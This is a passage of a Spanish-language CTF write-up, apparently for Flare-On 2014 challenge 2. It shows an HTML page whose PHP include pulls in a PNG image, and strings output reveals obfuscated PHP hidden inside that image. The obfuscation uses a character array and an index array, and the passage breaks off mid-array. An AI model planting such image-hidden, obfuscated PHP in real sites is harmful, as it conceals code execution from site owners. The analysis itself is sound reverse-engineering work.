style="color:#a6e22e">r</span>.<span style="color:#a6e22e">eq</span>(<span style="color:#a6e22e">s</span>),Math.<span style="color:#a6e22e">floor</span>(<span style="color:#a6e22e">n</span><span style="color:#f92672">/</span><span style="color:#ae81ff">10</span>)<span style="color:#f92672">%</span><span style="color:#ae81ff">10</span>),<span style="color:#a6e22e">t</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">eq</span>(<span style="color:#a6e22e">a</span>),<span style="color:#a6e22e">n</span><span style="color:#f92672">%</span><span style="color:#ae81ff">10</span>)}<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">p</span>,<span style="color:#a6e22e">d</span>,<span style="color:#a6e22e">l</span>,<span style="color:#a6e22e">u</span>,<span style="color:#a6e22e">f</span>,<span style="color:#a6e22e">r</span>,<span style="color:#a6e22e">h</span><span style="color:#f92672">=</span><span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">extend</span>({<span style="color:#a6e22e">callback</span><span style="color:#f92672">:</span><span style="color:#66d9ef">function</span>(){},<span style="color:#a6e22e">timestamp</span><span style="color:#f92672">:</span><span style="color:#ae81ff">0</span>},<span style="color:#a6e22e">c</span>);<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">a</span>(<span style="color:#66d9ef">this</span>,<span style="color:#a6e22e">h</span>),<span style="color:#a6e22e">r</span><span style="color:#f92672">=</span><span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">find</span>(<span style="color:#e6db74">&#34;.position&#34;</span>),<span style="color:#66d9ef">function</span> <span style="color:#a6e22e">m</span>(){<span style="color:#a6e22e">p</span><span style="color:#f92672">=</span>Math.<span style="color:#a6e22e">floor</span>((<span style="color:#a6e22e">h</span>.<span style="color:#a6e22e">timestamp</span><span style="color:#f92672">-</span><span style="color:#66d9ef">new</span> Date)<span style="color:#f92672">/</span><span style="color:#ae81ff">1e3</span>),<span style="color:#ae81ff">0</span><span style="color:#f92672">&gt;</span><span style="color:#a6e22e">p</span><span style="color:#f92672">&amp;&amp;</span>(<span style="color:#a6e22e">p</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>),<span style="color:#a6e22e">d</span><span style="color:#f92672">=</span>Math.<span style="color:#a6e22e">floor</span>(<span style="color:#a6e22e">p</span><span style="color:#f92672">/</span><span style="color:#a6e22e">n</span>),<span style="color:#a6e22e">e</span>(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1</span>,<span style="color:#a6e22e">d</span>),<span style="color:#a6e22e">p</span><span style="color:#f92672">-=</span><span style="color:#a6e22e">d</span><span style="color:#f92672">*</span><span style="color:#a6e22e">n</span>,<span style="color:#a6e22e">l</span><span style="color:#f92672">=</span>Math.<span style="color:#a6e22e">floor</span>(<span style="color:#a6e22e">p</span><span style="color:#f92672">/</span><span style="color:#a6e22e">i</span>),<span style="color:#a6e22e">e</span>(<span style="color:#ae81ff">2</span>,<span style="color:#ae81ff">3</span>,<span style="color:#a6e22e">l</span>),<span style="color:#a6e22e">p</span><span style="color:#f92672">-=</span><span style="color:#a6e22e">l</span><span style="color:#f92672">*</span><span style="color:#a6e22e">i</span>,<span style="color:#a6e22e">u</span><span style="color:#f92672">=</span>Math.<span style="color:#a6e22e">floor</span>(<span style="color:#a6e22e">p</span><span style="color:#f92672">/</span><span style="color:#a6e22e">o</span>),<span style="color:#a6e22e">e</span>(<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">5</span>,<span style="color:#a6e22e">u</span>),<span style="color:#a6e22e">p</span><span style="color:#f92672">-=</span><span style="color:#a6e22e">u</span><span style="color:#f92672">*</span><span style="color:#a6e22e">o</span>,<span style="color:#a6e22e">f</span><span style="color:#f92672">=</span><span style="color:#a6e22e">p</span>,<span style="color:#a6e22e">e</span>(<span style="color:#ae81ff">6</span>,<span style="color:#ae81ff">7</span>,<span style="color:#a6e22e">f</span>),<span style="color:#a6e22e">h</span>.<span style="color:#a6e22e">callback</span>(<span style="color:#a6e22e">d</span>,<span style="color:#a6e22e">l</span>,<span style="color:#a6e22e">u</span>,<span style="color:#a6e22e">f</span>),<span style="color:#a6e22e">setTimeout</span>(<span style="color:#a6e22e">m</span>,<span style="color:#ae81ff">1e3</span>)}(),<span style="color:#66d9ef">this</span>}}(<span style="color:#a6e22e">jQuery</span>);&lt;/<span style="color:#f92672">script</span>&gt;<span style="color:#75715e">&lt;?php include &#34;img/flare-on.png&#34; ?&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span>&gt;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">$</span>(document).<span style="color:#a6e22e">ready</span>(<span style="color:#66d9ef">function</span>(){
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">$</span>(<span style="color:#e6db74">&#39;#counter&#39;</span>).<span style="color:#a6e22e">countdown</span>({
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">timestamp</span> <span style="color:#f92672">:</span> <span style="color:#66d9ef">new</span> Date(<span style="color:#ae81ff">2014</span>,<span style="color:#ae81ff">6</span>,<span style="color:#ae81ff">7</span>,<span style="color:#ae81ff">4</span>,<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>Curioso el include de php:</p>
<pre><code>&lt;?php include &quot;img/flare-on.png&quot; ?&gt;
</code></pre>
<p>Veamos que nos dice strings de este archivo:</p>
<p><img src="/img/flareon2014-c2/php-in-png.png" alt="php-in-png"></p>
<p>Hey parece que tenemos un código php dentro de la imagen:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span> $terms<span style="color:#f92672">=</span><span style="color:#66d9ef">array</span>(<span style="color:#e6db74">&#34;M&#34;</span>, <span style="color:#e6db74">&#34;Z&#34;</span>, <span style="color:#e6db74">&#34;]&#34;</span>, <span style="color:#e6db74">&#34;p&#34;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34;w&#34;</span>, <span style="color:#e6db74">&#34;f&#34;</span>, <span style="color:#e6db74">&#34;1&#34;</span>, <span style="color:#e6db74">&#34;v&#34;</span>, <span style="color:#e6db74">&#34;&lt;&#34;</span>, <span style="color:#e6db74">&#34;a&#34;</span>, <span style="color:#e6db74">&#34;Q&#34;</span>, <span style="color:#e6db74">&#34;z&#34;</span>, <span style="color:#e6db74">&#34; &#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span>, <span style="color:#e6db74">&#34;m&#34;</span>, <span style="color:#e6db74">&#34;+&#34;</span>, <span style="color:#e6db74">&#34;E&#34;</span>, <span style="color:#e6db74">&#34;D&#34;</span>, <span style="color:#e6db74">&#34;g&#34;</span>, <span style="color:#e6db74">&#34;W&#34;</span>, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74">&#34;q&#34;</span>, <span style="color:#e6db74">&#34;y&#34;</span>, <span style="color:#e6db74">&#34;T&#34;</span>, <span style="color:#e6db74">&#34;V&#34;</span>, <span style="color:#e6db74">&#34;n&#34;</span>, <span style="color:#e6db74">&#34;S&#34;</span>, <span style="color:#e6db74">&#34;X&#34;</span>, <span style="color:#e6db74">&#34;)&#34;</span>, <span style="color:#e6db74">&#34;9&#34;</span>, <span style="color:#e6db74">&#34;C&#34;</span>, <span style="color:#e6db74">&#34;P&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span>, <span style="color:#e6db74">&#34;&amp;&#34;</span>, <span style="color:#e6db74">&#34;\&#39;&#34;</span>, <span style="color:#e6db74">&#34;!&#34;</span>, <span style="color:#e6db74">&#34;x&#34;</span>, <span style="color:#e6db74">&#34;G&#34;</span>, <span style="color:#e6db74">&#34;:&#34;</span>, <span style="color:#e6db74">&#34;2&#34;</span>, <span style="color:#e6db74">&#34;~&#34;</span>, <span style="color:#e6db74">&#34;O&#34;</span>, <span style="color:#e6db74">&#34;h&#34;</span>, <span style="color:#e6db74">&#34;u&#34;</span>, <span style="color:#e6db74">&#34;U&#34;</span>, <span style="color:#e6db74">&#34;@&#34;</span>, <span style="color:#e6db74">&#34;;&#34;</span>, <span style="color:#e6db74">&#34;H&#34;</span>, <span style="color:#e6db74">&#34;3&#34;</span>, <span style="color:#e6db74">&#34;F&#34;</span>, <span style="color:#e6db74">&#34;6&#34;</span>, <span style="color:#e6db74">&#34;b&#34;</span>, <span style="color:#e6db74">&#34;L&#34;</span>, <span style="color:#e6db74">&#34;&gt;&#34;</span>, <span style="color:#e6db74">&#34;^&#34;</span>, <span style="color:#e6db74">&#34;,&#34;</span>, <span style="color:#e6db74">&#34;.&#34;</span>, <span style="color:#e6db74">&#34;l&#34;</span>, <span style="color:#e6db74">&#34;$&#34;</span>, <span style="color:#e6db74">&#34;d&#34;</span>, <span style="color:#e6db74">&#34;`&#34;</span>, <span style="color:#e6db74">&#34;%&#34;</span>, <span style="color:#e6db74">&#34;N&#34;</span>, <span style="color:#e6db74">&#34;*&#34;</span>, <span style="color:#e6db74">&#34;[&#34;</span>, <span style="color:#e6db74">&#34;0&#34;</span>, <span style="color:#e6db74">&#34;}&#34;</span>, <span style="color:#e6db74">&#34;J&#34;</span>, <span style="color:#e6db74">&#34;-&#34;</span>, <span style="color:#e6db74">&#34;5&#34;</span>, <span style="color:#e6db74">&#34;_&#34;</span>, <span style="color:#e6db74">&#34;A&#34;</span>, <span style="color:#e6db74">&#34;=&#34;</span>, <span style="color:#e6db74">&#34;{&#34;</span>, <span style="color:#e6db74">&#34;k&#34;</span>, <span style="color:#e6db74">&#34;o&#34;</span>, <span style="color:#e6db74">&#34;7&#34;</span>, <span style="color:#e6db74">&#34;#&#34;</span>, <span style="color:#e6db74">&#34;i&#34;</span>, <span style="color:#e6db74">&#34;I&#34;</span>, <span style="color:#e6db74">&#34;Y&#34;</span>, <span style="color:#e6db74">&#34;(&#34;</span>, <span style="color:#e6db74">&#34;j&#34;</span>, <span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#e6db74">&#34;?&#34;</span>, <span style="color:#e6db74">&#34;K&#34;</span>, <span style="color:#e6db74">&#34;c&#34;</span>, <span style="color:#e6db74">&#34;B&#34;</span>, <span style="color:#e6db74">&#34;t&#34;</span>, <span style="color:#e6db74">&#34;R&#34;</span>, <span style="color:#e6db74">&#34;4&#34;</span>, <span style="color:#e6db74">&#34;8&#34;</span>, <span style="color:#e6db74">&#34;e&#34;</span>, <span style="color:#e6db74">&#34;|&#34;</span>);$order<span style="color:#f92672">=</span><span style="color:#66d9ef">array</span>(<span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">13</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">10</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">60</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">60</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">86</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">77</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">20</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">76</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">15</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">32</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">52</span>, <span style="color:#ae81ff">80</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">83</span>, <span style="color:#ae81ff">43</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">60</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">7</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">49</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">72</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">5</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">17</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">25</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">87</span>, <span style="color:#ae81ff">93</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">18</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">70</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">48</span>, <span style="color:#ae81ff">19</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">37</span>, <span style="color:#ae81ff">91</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">11</span>, <span style="color:#ae81ff">79</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">27</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">3</span>, <span style="color:#ae81ff">42</span>, <span style="color:#ae81ff">23</span>, <span style="color:#ae81ff">88</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">47</span>, <span style="color:#ae81ff">59</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">71</span>, <span style="color:#ae81ff">73</span>, <span style="color:#ae81ff">35</span>, <span style="color:#ae81ff">68</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">63</span>, <span style="color:#ae81ff">8</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">38</span>, <span style="color:#ae81ff">45</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">15</span>, <span style="color:#ae81ff">50</span>, <span style="color:#ae81ff">12</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">24</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">66</span>, <span style="color:#ae81ff">28</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">90</span>, <span style="color:#ae81ff">58</span>, <span style="color:#ae81ff">81</span>, <span style="color:#ae81ff">40</span>, <span style="color:#ae81ff">30</span>, <span style="color:#ae81ff">75</span>, <span style="color:#ae81ff">1</span>, <span 